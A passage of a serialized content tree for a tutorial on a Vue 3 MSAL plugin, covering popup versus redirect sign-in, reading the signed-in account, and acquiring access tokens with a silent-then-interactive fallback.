@",{"type":33,"tag":367,"props":2460,"children":2461},{"style":633},[2462],{"type":38,"value":2463},"click",{"type":33,"tag":367,"props":2465,"children":2466},{"style":380},[2467],{"type":38,"value":383},{"type":33,"tag":367,"props":2469,"children":2470},{"style":380},[2471],{"type":38,"value":388},{"type":33,"tag":367,"props":2473,"children":2474},{"style":374},[2475],{"type":38,"value":2187},{"type":33,"tag":367,"props":2477,"children":2478},{"style":380},[2479],{"type":38,"value":388},{"type":33,"tag":367,"props":2481,"children":2482},{"style":1974},[2483],{"type":38,"value":2484},">",{"type":33,"tag":367,"props":2486,"children":2488},{"style":2487},"--shiki-default:#9AA5CE",[2489],{"type":38,"value":2490},"Sign in",{"type":33,"tag":367,"props":2492,"children":2493},{"style":1974},[2494],{"type":38,"value":2382},{"type":33,"tag":367,"props":2496,"children":2497},{"style":1980},[2498],{"type":38,"value":2426},{"type":33,"tag":367,"props":2500,"children":2501},{"style":1974},[2502],{"type":38,"value":2015},{"type":33,"tag":367,"props":2504,"children":2505},{"class":369,"line":985},[2506,2510,2514,2519,2523,2527,2531,2535,2539,2543,2547,2552,2556,2560],{"type":33,"tag":367,"props":2507,"children":2508},{"style":1974},[2509],{"type":38,"value":2421},{"type":33,"tag":367,"props":2511,"children":2512},{"style":1980},[2513],{"type":38,"value":2426},{"type":33,"tag":367,"props":2515,"children":2516},{"style":633},[2517],{"type":38,"value":2518}," v-else",{"type":33,"tag":367,"props":2520,"children":2521},{"style":380},[2522],{"type":38,"value":2458},{"type":33,"tag":367,"props":2524,"children":2525},{"style":633},[2526],{"type":38,"value":2463},{"type":33,"tag":367,"props":2528,"children":2529},{"style":380},[2530],{"type":38,"value":383},{"type":33,"tag":367,"props":2532,"children":2533},{"style":380},[2534],{"type":38,"value":388},{"type":33,"tag":367,"props":2536,"children":2537},{"style":374},[2538],{"type":38,"value":2293},{"type":33,"tag":367,"props":2540,"children":2541},{"style":380},[2542],{"type":38,"value":388},{"type":33,"tag":367,"props":2544,"children":2545},{"style":1974},[2546],{"type":38,"value":2484},{"type":33,"tag":367,"props":2548,"children":2549},{"style":2487},[2550],{"type":38,"value":2551},"Sign out",{"type":33,"tag":367,"props":2553,"children":2554},{"style":1974},[2555],{"type":38,"value":2382},{"type":33,"tag":367,"props":2557,"children":2558},{"style":1980},[2559],{"type":38,"value":2426},{"type":33,"tag":367,"props":2561,"children":2562},{"style":1974},[2563],{"type":38,"value":2015},{"type":33,"tag":367,"props":2565,"children":2566},{"class":369,"line":1014},[2567,2571,2575],{"type":33,"tag":367,"props":2568,"children":2569},{"style":1974},[2570],{"type":38,"value":2382},{"type":33,"tag":367,"props":2572,"children":2573},{"style":1980},[2574],{"type":38,"value":2409},{"type":33,"tag":367,"props":2576,"children":2577},{"style":1974},[2578],{"type":38,"value":2015},{"type":33,"tag":34,"props":2580,"children":2581},{},[2582],{"type":38,"value":2583},"Popup keeps your app mounted and its state intact. That makes it the better default for anything holding unsaved form state. The cost: browsers block popups that aren't triggered by a direct user gesture, so it has to run from a click handler, never from a watcher or lifecycle hook.",{"type":33,"tag":34,"props":2585,"children":2586},{},[2587],{"type":38,"value":2588},"Redirect navigates away and comes back. It survives popup blockers and works on browsers with strict third-party storage rules, which is why embedded and mobile scenarios tend to need it. The cost is that your app remounts on return, and any state you didn't persist is gone.",{"type":33,"tag":34,"props":2590,"children":2591},{},[2592],{"type":38,"value":2593},"Pick one and use it consistently. Mixing them across an app produces interaction-status bugs that are hard to trace.",{"type":33,"tag":95,"props":2595,"children":2597},{"id":2596},"reading-auth-state-in-a-component",[2598],{"type":38,"value":2599},"Reading auth state in a component",{"type":33,"tag":357,"props":2601,"children":2603},{"className":506,"code":2602,"language":508,"meta":7,"style":7},"import { useIsAuthenticated } from \"vue3-msal-plugin\";\n\nconst isAuthenticated = useIsAuthenticated();\n",[2604],{"type":33,"tag":41,"props":2605,"children":2606},{"__ignoreMap":7},[2607,2647,2654],{"type":33,"tag":367,"props":2608,"children":2609},{"class":369,"line":370},[2610,2614,2618,2623,2627,2631,2635,2639,2643],{"type":33,"tag":367,"props":2611,"children":2612},{"style":527},[2613],{"type":38,"value":530},{"type":33,"tag":367,"props":2615,"children":2616},{"style":533},[2617],{"type":38,"value":536},{"type":33,"tag":367,"props":2619,"children":2620},{"style":539},[2621],{"type":38,"value":2622},"useIsAuthenticated",{"type":33,"tag":367,"props":2624,"children":2625},{"style":533},[2626],{"type":38,"value":547},{"type":33,"tag":367,"props":2628,"children":2629},{"style":527},[2630],{"type":38,"value":552},{"type":33,"tag":367,"props":2632,"children":2633},{"style":380},[2634],{"type":38,"value":557},{"type":33,"tag":367,"props":2636,"children":2637},{"style":391},[2638],{"type":38,"value":79},{"type":33,"tag":367,"props":2640,"children":2641},{"style":380},[2642],{"type":38,"value":388},{"type":33,"tag":367,"props":2644,"children":2645},{"style":380},[2646],{"type":38,"value":571},{"type":33,"tag":367,"props":2648,"children":2649},{"class":369,"line":402},[2650],{"type":33,"tag":367,"props":2651,"children":2652},{"emptyLinePlaceholder":726},[2653],{"type":38,"value":729},{"type":33,"tag":367,"props":2655,"children":2656},{"class":369,"line":574},[2657,2661,2665,2669,2673,2677],{"type":33,"tag":367,"props":2658,"children":2659},{"style":812},[2660],{"type":38,"value":815},{"type":33,"tag":367,"props":2662,"children":2663},{"style":633},[2664],{"type":38,"value":2126},{"type":33,"tag":367,"props":2666,"children":2667},{"style":380},[2668],{"type":38,"value":835},{"type":33,"tag":367,"props":2670,"children":2671},{"style":1124},[2672],{"type":38,"value":2040},{"type":33,"tag":367,"props":2674,"children":2675},{"style":533},[2676],{"type":38,"value":1197},{"type":33,"tag":367,"props":2678,"children":2679},{"style":380},[2680],{"type":38,"value":571},{"type":33,"tag":34,"props":2682,"children":2683},{},[2684,2686,2692,2694,2699],{"type":38,"value":2685},"It returns a ",{"type":33,"tag":41,"props":2687,"children":2689},{"className":2688},[],[2690],{"type":38,"value":2691},"Ref\u003Cboolean>",{"type":38,"value":2693}," derived from the account list, so a template can use it directly and it stays current when accounts change. The plugin subscribes to MSAL's event stream and refreshes ",{"type":33,"tag":41,"props":2695,"children":2697},{"className":2696},[],[2698],{"type":38,"value":1220},{"type":38,"value":2700}," on login, logout, silent SSO, redirect completion, and token acquisition. It diffs the account arrays before writing, so an unchanged account list won't trigger a re-render.",{"type":33,"tag":34,"props":2702,"children":2703},{},[2704],{"type":38,"value":2705},"For the signed-in user's details, read the account:",{"type":33,"tag":357,"props":2707,"children":2709},{"className":1963,"code":2708,"language":562,"meta":7,"style":7},"\u003Cscript setup lang=\"ts\">\nimport { computed } from \"vue\";\nimport { useMsal } from \"vue3-msal-plugin\";\n\nconst { accounts } = useMsal();\nconst account = computed(() => accounts.value[0] ?? null);\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cp v-if=\"account\">{{ account.name }} ({{ account.username }})\u003C/p>\n\u003C/template>\n",[2710],{"type":33,"tag":41,"props":2711,"children":2712},{"__ignoreMap":7},[2713,2752,2792,2831,2838,2873,2947,2962,2969,2984,3083],{"type":33,"tag":367,"props":2714,"children":2715},{"class":369,"line":370},[2716,2720,2724,2728,2732,2736,2740,2744,2748],{"type":33,"tag":367,"props":2717,"children":2718},{"style":1974},[2719],{"type":38,"value":1977},{"type":33,"tag":367,"props":2721,"children":2722},{"style":1980},[2723],{"type":38,"value":1983},{"type":33,"tag":367,"props":2725,"children":2726},{"style":633},[2727],{"type":38,"value":1988},{"type":33,"tag":367,"props":2729,"children":2730},{"style":633},[2731],{"type":38,"value":1993},{"type":33,"tag":367,"props":2733,"children":2734},{"style":380},[2735],{"type":38,"value":383},{"type":33,"tag":367,"props":2737,"children":2738},{"style":380},[2739],{"type":38,"value":388},{"type":33,"tag":367,"props":2741,"children":2742},{"style":391},[2743],{"type":38,"value":2006},{"type":33,"tag":367,"props":2745,"children":2746},{"style":380},[2747],{"type":38,"value":388},{"type":33,"tag":367,"props":2749,"children":2750},{"style":1974},[2751],{"type":38,"value":2015},{"type":33,"tag":367,"props":2753,"children":2754},{"class":369,"line":402},[2755,2759,2763,2768,2772,2776,2780,2784,2788],{"type":33,"tag":367,"props":2756,"children":2757},{"style":527},[2758],{"type":38,"value":530},{"type":33,"tag":367,"props":2760,"children":2761},{"style":533},[2762],{"type":38,"value":536},{"type":33,"tag":367,"props":2764,"children":2765},{"style":539},[2766],{"type":38,"value":2767},"computed",{"type":33,"tag":367,"props":2769,"children":2770},{"style":533},[2771],{"type":38,"value":547},{"type":33,"tag":367,"props":2773,"children":2774},{"style":527},[2775],{"type":38,"value":552},{"type":33,"tag":367,"props":2777,"children":2778},{"style":380},[2779],{"type":38,"value":557},{"type":33,"tag":367,"props":2781,"children":2782},{"style":391},[2783],{"type":38,"value":562},{"type":33,"tag":367,"props":2785,"children":2786},{"style":380},[2787],{"type":38,"value":388},{"type":33,"tag":367,"props":2789,"children":2790},{"style":380},[2791],{"type":38,"value":571},{"type":33,"tag":367,"props":2793,"children":2794},{"class":369,"line":574},[2795,2799,2803,2807,2811,2815,2819,2823,2827],{"type":33,"tag":367,"props":2796,"children":2797},{"style":527},[2798],{"type":38,"value":530},{"type":33,"tag":367,"props":2800,"children":2801},{"style":533},[2802],{"type":38,"value":536},{"type":33,"tag":367,"props":2804,"children":2805},{"style":539},[2806],{"type":38,"value":2031},{"type":33,"tag":367,"props":2808,"children":2809},{"style":533},[2810],{"type":38,"value":547},{"type":33,"tag":367,"props":2812,"children":2813},{"style":527},[2814],{"type":38,"value":552},{"type":33,"tag":367,"props":2816,"children":2817},{"style":380},[2818],{"type":38,"value":557},{"type":33,"tag":367,"props":2820,"children":2821},{"style":391},[2822],{"type":38,"value":79},{"type":33,"tag":367,"props":2824,"children":2825},{"style":380},[2826],{"type":38,"value":388},{"type":33,"tag":367,"props":2828,"children":2829},{"style":380},[2830],{"type":38,"value":571},{"type":33,"tag":367,"props":2832,"children":2833},{"class":369,"line":625},[2834],{"type":33,"tag":367,"props":2835,"children":2836},{"emptyLinePlaceholder":726},[2837],{"type":38,"value":729},{"type":33,"tag":367,"props":2839,"children":2840},{"class":369,"line":681},[2841,2845,2849,2853,2857,2861,2865,2869],{"type":33,"tag":367,"props":2842,"children":2843},{"style":812},[2844],{"type":38,"value":815},{"type":33,"tag":367,"props":2846,"children":2847},{"style":380},[2848],{"type":38,"value":1854},{"type":33,"tag":367,"props":2850,"children":2851},{"style":633},[2852],{"type":38,"value":1175},{"type":33,"tag":367,"props":2854,"children":2855},{"style":380},[2856],{"type":38,"value":547},{"type":33,"tag":367,"props":2858,"children":2859},{"style":380},[2860],{"type":38,"value":835},{"type":33,"tag":367,"props":2862,"children":2863},{"style":1124},[2864],{"type":38,"value":1906},{"type":33,"tag":367,"props":2866,"children":2867},{"style":533},[2868],{"type":38,"value":1197},{"type":33,"tag":367,"props":2870,"children":2871},{"style":380},[2872],{"type":38,"value":571},{"type":33,"tag":367,"props":2874,"children":2875},{"class":369,"line":722},[2876,2880,2885,2889,2894,2899,2903,2907,2911,2916,2920,2924,2929,2934,2939,2943],{"type":33,"tag":367,"props":2877,"children":2878},{"style":812},[2879],{"type":38,"value":815},{"type":33,"tag":367,"props":2881,"children":2882},{"style":633},[2883],{"type":38,"value":2884}," account",{"type":33,"tag":367,"props":2886,"children":2887},{"style":380},[2888],{"type":38,"value":835},{"type":33,"tag":367,"props":2890,"children":2891},{"style":1124},[2892],{"type":38,"value":2893}," computed",{"type":33,"tag":367,"props":2895,"children":2896},{"style":533},[2897],{"type":38,"value":2898},"(()",{"type":33,"tag":367,"props":2900,"children":2901},{"style":633},[2902],{"type":38,"value":1356},{"type":33,"tag":367,"props":2904,"children":2905},{"style":374},[2906],{"type":38,"value":1175},{"type":33,"tag":367,"props":2908,"children":2909},{"style":380},[2910],{"type":38,"value":174},{"type":33,"tag":367,"props":2912,"children":2913},{"style":527},[2914],{"type":38,"value":2915},"value",{"type":33,"tag":367,"props":2917,"children":2918},{"style":533},[2919],{"type":38,"value":1278},{"type":33,"tag":367,"props":2921,"children":2922},{"style":901},[2923],{"type":38,"value":1283},{"type":33,"tag":367,"props":2925,"children":2926},{"style":533},[2927],{"type":38,"value":2928},"]",{"type":33,"tag":367,"props":2930,"children":2931},{"style":633},[2932],{"type":38,"value":2933}," ??",{"type":33,"tag":367,"props":2935,"children":2936},{"style":901},[2937],{"type":38,"value":2938}," null",{"type":33,"tag":367,"props":2940,"children":2941},{"style":533},[2942],{"type":38,"value":1141},{"type":33,"tag":367,"props":2944,"children":2945},{"style":380},[2946],{"type":38,"value":571},{"type":33,"tag":367,"props":2948,"children":2949},{"class":369,"line":732},[2950,2954,2958],{"type":33,"tag":367,"props":2951,"children":2952},{"style":1974},[2953],{"type":38,"value":2382},{"type":33,"tag":367,"props":2955,"children":2956},{"style":1980},[2957],{"type":38,"value":1983},{"type":33,"tag":367,"props":2959,"children":2960},{"style":1974},[2961],{"type":38,"value":2015},{"type":33,"tag":367,"props":2963,"children":2964},{"class":369,"line":766},[2965],{"type":33,"tag":367,"props":2966,"children":2967},{"emptyLinePlaceholder":726},[2968],{"type":38,"value":729},{"type":33,"tag":367,"props":2970,"children":2971},{"class":369,"line":800},[2972,2976,2980],{"type":33,"tag":367,"props":2973,"children":2974},{"style":1974},[2975],{"type":38,"value":1977},{"type":33,"tag":367,"props":2977,"children":2978},{"style":1980},[2979],{"type":38,"value":2409},{"type":33,"tag":367,"props":2981,"children":2982},{"style":1974},[2983],{"type":38,"value":2015},{"type":33,"tag":367,"props":2985,"children":2986},{"class":369,"line":808},[2987,2991,2995,2999,3003,3007,3011,3015,3019,3024,3028,3032,3037,3042,3046,3050,3054,3058,3063,3067,3071,3075,3079],{"type":33,"tag":367,"props":2988,"children":2989},{"style":1974},[2990],{"type":38,"value":2421},{"type":33,"tag":367,"props":2992,"children":2993},{"style":1980},[2994],{"type":38,"value":34},{"type":33,"tag":367,"props":2996,"children":2997},{"style":633},[2998],{"type":38,"value":2431},{"type":33,"tag":367,"props":3000,"children":3001},{"style":380},[3002],{"type":38,"value":383},{"type":33,"tag":367,"props":3004,"children":3005},{"style":380},[3006],{"type":38,"value":388},{"type":33,"tag":367,"props":3008,"children":3009},{"style":374},[3010],{"type":38,"value":1506},{"type":33,"tag":367,"props":3012,"children":3013},{"style":380},[3014],{"type":38,"value":388},{"type":33,"tag":367,"props":3016,"children":3017},{"style":1974},[3018],{"type":38,"value":2484},{"type":33,"tag":367,"props":3020,"children":3021},{"style":380},[3022],{"type":38,"value":3023},"{{",{"type":33,"tag":367,"props":3025,"children":3026},{"style":374},[3027],{"type":38,"value":2884},{"type":33,"tag":367,"props":3029,"children":3030},{"style":380},[3031],{"type":38,"value":174},{"type":33,"tag":367,"props":3033,"children":3034},{"style":527},[3035],{"type":38,"value":3036},"name",{"type":33,"tag":367,"props":3038,"children":3039},{"style":380},[3040],{"type":38,"value":3041}," }}",{"type":33,"tag":367,"props":3043,"children":3044},{"style":2487},[3045],{"type":38,"value":1215},{"type":33,"tag":367,"props":3047,"children":3048},{"style":380},[3049],{"type":38,"value":3023},{"type":33,"tag":367,"props":3051,"children":3052},{"style":374},[3053],{"type":38,"value":2884},{"type":33,"tag":367,"props":3055,"children":3056},{"style":380},[3057],{"type":38,"value":174},{"type":33,"tag":367,"props":3059,"children":3060},{"style":527},[3061],{"type":38,"value":3062},"username",{"type":33,"tag":367,"props":3064,"children":3065},{"style":380},[3066],{"type":38,"value":3041},{"type":33,"tag":367,"props":3068,"children":3069},{"style":2487},[3070],{"type":38,"value":1141},{"type":33,"tag":367,"props":3072,"children":3073},{"style":1974},[3074],{"type":38,"value":2382},{"type":33,"tag":367,"props":3076,"children":3077},{"style":1980},[3078],{"type":38,"value":34},{"type":33,"tag":367,"props":3080,"children":3081},{"style":1974},[3082],{"type":38,"value":2015},{"type":33,"tag":367,"props":3084,"children":3085},{"class":369,"line":843},[3086,3090,3094],{"type":33,"tag":367,"props":3087,"children":3088},{"style":1974},[3089],{"type":38,"value":2382},{"type":33,"tag":367,"props":3091,"children":3092},{"style":1980},[3093],{"type":38,"value":2409},{"type":33,"tag":367,"props":3095,"children":3096},{"style":1974},[3097],{"type":38,"value":2015},{"type":33,"tag":455,"props":3099,"children":3100},{},[3101],{"type":33,"tag":34,"props":3102,"children":3103},{},[3104,3110,3111,3117],{"type":33,"tag":41,"props":3105,"children":3107},{"className":3106},[],[3108],{"type":38,"value":3109},"account.name",{"type":38,"value":150},{"type":33,"tag":41,"props":3112,"children":3114},{"className":3113},[],[3115],{"type":38,"value":3116},"account.username",{"type":38,"value":3118}," come from the ID token, so they are fine for display. Never use them for authorization. Access control belongs on the API that validates the access token, not in your Vue app.",{"type":33,"tag":95,"props":3120,"children":3122},{"id":3121},"getting-an-access-token",[3123],{"type":38,"value":3124},"Getting an access token",{"type":33,"tag":34,"props":3126,"children":3127},{},[3128,3130,3136],{"type":38,"value":3129},"Calling any protected API means acquiring an access token for its scopes. ",{"type":33,"tag":41,"props":3131,"children":3133},{"className":3132},[],[3134],{"type":38,"value":3135},"useMsalAuthentication",{"type":38,"value":3137}," wraps that:",{"type":33,"tag":357,"props":3139,"children":3141},{"className":1963,"code":3140,"language":562,"meta":7,"style":7},"\u003Cscript setup lang=\"ts\">\nimport { watch } from \"vue\";\nimport { useMsalAuthentication, InteractionType } from \"vue3-msal-plugin\";\n\nconst { result, error, inProgress, acquireToken } = useMsalAuthentication(\n  InteractionType.Popup,\n  { scopes: [\"User.Read\"] },\n);\n\nwatch(result, (value) => {\n  if (value) {\n    console.log(value.accessToken);\n  }\n});\n\u003C/script>\n",[3142],{"type":33,"tag":41,"props":3143,"children":3144},{"__ignoreMap":7},[3145,3184,3224,3272,3279,3339,3360,3406,3417,3424,3464,3483,3525,3532,3543],{"type":33,"tag":367,"props":3146,"children":3147},{"class":369,"line":370},[3148,3152,3156,3160,3164,3168,3172,3176,3180],{"type":33,"tag":367,"props":3149,"children":3150},{"style":1974},[3151],{"type":38,"value":1977},{"type":33,"tag":367,"props":3153,"children":3154},{"style":1980},[3155],{"type":38,"value":1983},{"type":33,"tag":367,"props":3157,"children":3158},{"style":633},[3159],{"type":38,"value":1988},{"type":33,"tag":367,"props":3161,"children":3162},{"style":633},[3163],{"type":38,"value":1993},{"type":33,"tag":367,"props":3165,"children":3166},{"style":380},[3167],{"type":38,"value":383},{"type":33,"tag":367,"props":3169,"children":3170},{"style":380},[3171],{"type":38,"value":388},{"type":33,"tag":367,"props":3173,"children":3174},{"style":391},[3175],{"type":38,"value":2006},{"type":33,"tag":367,"props":3177,"children":3178},{"style":380},[3179],{"type":38,"value":388},{"type":33,"tag":367,"props":3181,"children":3182},{"style":1974},[3183],{"type":38,"value":2015},{"type":33,"tag":367,"props":3185,"children":3186},{"class":369,"line":402},[3187,3191,3195,3200,3204,3208,3212,3216,3220],{"type":33,"tag":367,"props":3188,"children":3189},{"style":527},[3190],{"type":38,"value":530},{"type":33,"tag":367,"props":3192,"children":3193},{"style":533},[3194],{"type":38,"value":536},{"type":33,"tag":367,"props":3196,"children":3197},{"style":539},[3198],{"type":38,"value":3199},"watch",{"type":33,"tag":367,"props":3201,"children":3202},{"style":533},[3203],{"type":38,"value":547},{"type":33,"tag":367,"props":3205,"children":3206},{"style":527},[3207],{"type":38,"value":552},{"type":33,"tag":367,"props":3209,"children":3210},{"style":380},[3211],{"type":38,"value":557},{"type":33,"tag":367,"props":3213,"children":3214},{"style":391},[3215],{"type":38,"value":562},{"type":33,"tag":367,"props":3217,"children":3218},{"style":380},[3219],{"type":38,"value":388},{"type":33,"tag":367,"props":3221,"children":3222},{"style":380},[3223],{"type":38,"value":571},{"type":33,"tag":367,"props":3225,"children":3226},{"class":369,"line":574},[3227,3231,3235,3239,3243,3248,3252,3256,3260,3264,3268],{"type":33,"tag":367,"props":3228,"children":3229},{"style":527},[3230],{"type":38,"value":530},{"type":33,"tag":367,"props":3232,"children":3233},{"style":533},[3234],{"type":38,"value":536},{"type":33,"tag":367,"props":3236,"children":3237},{"style":539},[3238],{"type":38,"value":3135},{"type":33,"tag":367,"props":3240,"children":3241},{"style":380},[3242],{"type":38,"value":593},{"type":33,"tag":367,"props":3244,"children":3245},{"style":539},[3246],{"type":38,"value":3247}," InteractionType",{"type":33,"tag":367,"props":3249,"children":3250},{"style":533},[3251],{"type":38,"value":547},{"type":33,"tag":367,"props":3253,"children":3254},{"style":527},[3255],{"type":38,"value":552},{"type":33,"tag":367,"props":3257,"children":3258},{"style":380},[3259],{"type":38,"value":557},{"type":33,"tag":367,"props":3261,"children":3262},{"style":391},[3263],{"type":38,"value":79},{"type":33,"tag":367,"props":3265,"children":3266},{"style":380},[3267],{"type":38,"value":388},{"type":33,"tag":367,"props":3269,"children":3270},{"style":380},[3271],{"type":38,"value":571},{"type":33,"tag":367,"props":3273,"children":3274},{"class":369,"line":625},[3275],{"type":33,"tag":367,"props":3276,"children":3277},{"emptyLinePlaceholder":726},[3278],{"type":38,"value":729},{"type":33,"tag":367,"props":3280,"children":3281},{"class":369,"line":681},[3282,3286,3290,3295,3299,3304,3308,3312,3316,3321,3325,3329,3334],{"type":33,"tag":367,"props":3283,"children":3284},{"style":812},[3285],{"type":38,"value":815},{"type":33,"tag":367,"props":3287,"children":3288},{"style":380},[3289],{"type":38,"value":1854},{"type":33,"tag":367,"props":3291,"children":3292},{"style":633},[3293],{"type":38,"value":3294}," result",{"type":33,"tag":367,"props":3296,"children":3297},{"style":380},[3298],{"type":38,"value":593},{"type":33,"tag":367,"props":3300,"children":3301},{"style":633},[3302],{"type":38,"value":3303}," error",{"type":33,"tag":367,"props":3305,"children":3306},{"style":380},[3307],{"type":38,"value":593},{"type":33,"tag":367,"props":3309,"children":3310},{"style":633},[3311],{"type":38,"value":1875},{"type":33,"tag":367,"props":3313,"children":3314},{"style":380},[3315],{"type":38,"value":593},{"type":33,"tag":367,"props":3317,"children":3318},{"style":633},[3319],{"type":38,"value":3320}," acquireToken",{"type":33,"tag":367,"props":3322,"children":3323},{"style":380},[3324],{"type":38,"value":547},{"type":33,"tag":367,"props":3326,"children":3327},{"style":380},[3328],{"type":38,"value":835},{"type":33,"tag":367,"props":3330,"children":3331},{"style":1124},[3332],{"type":38,"value":3333}," useMsalAuthentication",{"type":33,"tag":367,"props":3335,"children":3336},{"style":533},[3337],{"type":38,"value":3338},"(\n",{"type":33,"tag":367,"props":3340,"children":3341},{"class":369,"line":722},[3342,3347,3351,3356],{"type":33,"tag":367,"props":3343,"children":3344},{"style":374},[3345],{"type":38,"value":3346},"  InteractionType",{"type":33,"tag":367,"props":3348,"children":3349},{"style":380},[3350],{"type":38,"value":174},{"type":33,"tag":367,"props":3352,"children":3353},{"style":527},[3354],{"type":38,"value":3355},"Popup",{"type":33,"tag":367,"props":3357,"children":3358},{"style":380},[3359],{"type":38,"value":908},{"type":33,"tag":367,"props":3361,"children":3362},{"class":369,"line":732},[3363,3368,3373,3377,3382,3386,3390,3394,3398,3402],{"type":33,"tag":367,"props":3364,"children":3365},{"style":533},[3366],{"type":38,"value":3367},"  {",{"type":33,"tag":367,"props":3369,"children":3370},{"style":847},[3371],{"type":38,"value":3372}," scopes",{"type":33,"tag":367,"props":3374,"children":3375},{"style":380},[3376],{"type":38,"value":825},{"type":33,"tag":367,"props":3378,"children":3379},{"style":533},[3380],{"type":38,"value":3381}," [",{"type":33,"tag":367,"props":3383,"children":3384},{"style":380},[3385],{"type":38,"value":388},{"type":33,"tag":367,"props":3387,"children":3388},{"style":391},[3389],{"type":38,"value":340},{"type":33,"tag":367,"props":3391,"children":3392},{"style":380},[3393],{"type":38,"value":388},{"type":33,"tag":367,"props":3395,"children":3396},{"style":533},[3397],{"type":38,"value":2928},{"type":33,"tag":367,"props":3399,"children":3400},{"style":533},[3401],{"type":38,"value":547},{"type":33,"tag":367,"props":3403,"children":3404},{"style":380},[3405],{"type":38,"value":908},{"type":33,"tag":367,"props":3407,"children":3408},{"class":369,"line":766},[3409,3413],{"type":33,"tag":367,"props":3410,"children":3411},{"style":533},[3412],{"type":38,"value":1141},{"type":33,"tag":367,"props":3414,"children":3415},{"style":380},[3416],{"type":38,"value":571},{"type":33,"tag":367,"props":3418,"children":3419},{"class":369,"line":800},[3420],{"type":33,"tag":367,"props":3421,"children":3422},{"emptyLinePlaceholder":726},[3423],{"type":38,"value":729},{"type":33,"tag":367,"props":3425,"children":3426},{"class":369,"line":808},[3427,3431,3435,3440,3444,3448,3452,3456,3460],{"type":33,"tag":367,"props":3428,"children":3429},{"style":1124},[3430],{"type":38,"value":3199},{"type":33,"tag":367,"props":3432,"children":3433},{"style":533},[3434],{"type":38,"value":1131},{"type":33,"tag":367,"props":3436,"children":3437},{"style":374},[3438],{"type":38,"value":3439},"result",{"type":33,"tag":367,"props":3441,"children":3442},{"style":380},[3443],{"type":38,"value":593},{"type":33,"tag":367,"props":3445,"children":3446},{"style":533},[3447],{"type":38,"value":1215},{"type":33,"tag":367,"props":3449,"children":3450},{"style":1344},[3451],{"type":38,"value":2915},{"type":33,"tag":367,"props":3453,"children":3454},{"style":533},[3455],{"type":38,"value":1141},{"type":33,"tag":367,"props":3457,"children":3458},{"style":633},[3459],{"type":38,"value":1356},{"type":33,"tag":367,"props":3461,"children":3462},{"style":533},[3463],{"type":38,"value":840},{"type":33,"tag":367,"props":3465,"children":3466},{"class":369,"line":843},[3467,3471,3475,3479],{"type":33,"tag":367,"props":3468,"children":3469},{"style":633},[3470],{"type":38,"value":1369},{"type":33,"tag":367,"props":3472,"children":3473},{"style":533},[3474],{"type":38,"value":1215},{"type":33,"tag":367,"props":3476,"children":3477},{"style":374},[3478],{"type":38,"value":2915},{"type":33,"tag":367,"props":3480,"children":3481},{"style":533},[3482],{"type":38,"value":1429},{"type":33,"tag":367,"props":3484,"children":3485},{"class":369,"line":861},[3486,3491,3495,3500,3504,3508,3512,3517,3521],{"type":33,"tag":367,"props":3487,"children":3488},{"style":374},[3489],{"type":38,"value":3490},"    console",{"type":33,"tag":367,"props":3492,"children":3493},{"style":380},[3494],{"type":38,"value":174},{"type":33,"tag":367,"props":3496,"children":3497},{"style":1124},[3498],{"type":38,"value":3499},"log",{"type":33,"tag":367,"props":3501,"children":3502},{"style":533},[3503],{"type":38,"value":1131},{"type":33,"tag":367,"props":3505,"children":3506},{"style":374},[3507],{"type":38,"value":2915},{"type":33,"tag":367,"props":3509,"children":3510},{"style":380},[3511],{"type":38,"value":174},{"type":33,"tag":367,"props":3513,"children":3514},{"style":527},[3515],{"type":38,"value":3516},"accessToken",{"type":33,"tag":367,"props":3518,"children":3519},{"style":533},[3520],{"type":38,"value":1141},{"type":33,"tag":367,"props":3522,"children":3523},{"style":380},[3524],{"type":38,"value":571},{"type":33,"tag":367,"props":3526,"children":3527},{"class":369,"line":911},[3528],{"type":33,"tag":367,"props":3529,"children":3530},{"style":533},[3531],{"type":38,"value":1523},{"type":33,"tag":367,"props":3533,"children":3534},{"class":369,"line":956},[3535,3539],{"type":33,"tag":367,"props":3536,"children":3537},{"style":533},[3538],{"type":38,"value":1532},{"type":33,"tag":367,"props":3540,"children":3541},{"style":380},[3542],{"type":38,"value":571},{"type":33,"tag":367,"props":3544,"children":3545},{"class":369,"line":985},[3546,3550,3554],{"type":33,"tag":367,"props":3547,"children":3548},{"style":1974},[3549],{"type":38,"value":2382},{"type":33,"tag":367,"props":3551,"children":3552},{"style":1980},[3553],{"type":38,"value":1983},{"type":33,"tag":367,"props":3555,"children":3556},{"style":1974},[3557],{"type":38,"value":2015},{"type":33,"tag":34,"props":3559,"children":3560},{},[3561,3563,3569,3571,3576,3578,3584,3586,3591],{"type":38,"value":3562},"It starts acquiring as soon as it's called, then re-tries when the global interaction status changes, and stops watching once it has a result or an error. You get four things back: ",{"type":33,"tag":41,"props":3564,"children":3566},{"className":3565},[],[3567],{"type":38,"value":3568},"acquireToken",{"type":38,"value":3570}," to trigger it manually, plus ",{"type":33,"tag":41,"props":3572,"children":3574},{"className":3573},[],[3575],{"type":38,"value":3439},{"type":38,"value":3577},", ",{"type":33,"tag":41,"props":3579,"children":3581},{"className":3580},[],[3582],{"type":38,"value":3583},"error",{"type":38,"value":3585},", and ",{"type":33,"tag":41,"props":3587,"children":3589},{"className":3588},[],[3590],{"type":38,"value":1942},{"type":38,"value":3592}," as refs.",{"type":33,"tag":34,"props":3594,"children":3595},{},[3596,3598,3605,3607,3613],{"type":38,"value":3597},"The sequence it runs is ",{"type":33,"tag":68,"props":3599,"children":3602},{"href":3600,"rel":3601},"https://learn.microsoft.com/en-us/entra/identity-platform/scenario-spa-acquire-token",[72],[3603],{"type":38,"value":3604},"the pattern Microsoft recommends",{"type":38,"value":3606},". Try ",{"type":33,"tag":41,"props":3608,"children":3610},{"className":3609},[],[3611],{"type":38,"value":3612},"acquireTokenSilent",{"type":38,"value":3614}," first, which returns a cached access token or refreshes it in the background. If that fails, fall back to an interactive prompt.",{"type":33,"tag":34,"props":3616,"children":3617},{},[3618,3620,3626,3628,3634,3636,3642,3644,3649],{"type":38,"value":3619},"Pass ",{"type":33,"tag":41,"props":3621,"children":3623},{"className":3622},[],[3624],{"type":38,"value":3625},"InteractionType.Popup",{"type":38,"value":3627}," or ",{"type":33,"tag":41,"props":3629,"children":3631},{"className":3630},[],[3632],{"type":38,"value":3633},"InteractionType.Redirect",{"type":38,"value":3635}," rather than ",{"type":33,"tag":41,"props":3637,"children":3639},{"className":3638},[],[3640],{"type":38,"value":3641},"Silent",{"type":38,"value":3643},". Those two have an interactive fallback when the silent call fails, which is what you want the first time a user has to consent to a new scope. ",{"type":33,"tag":41,"props":3645,"children":3647},{"className":3646},[],[3648],{"type":38,"value":3641},{"type":38,"value":3650}," gives you no fallback 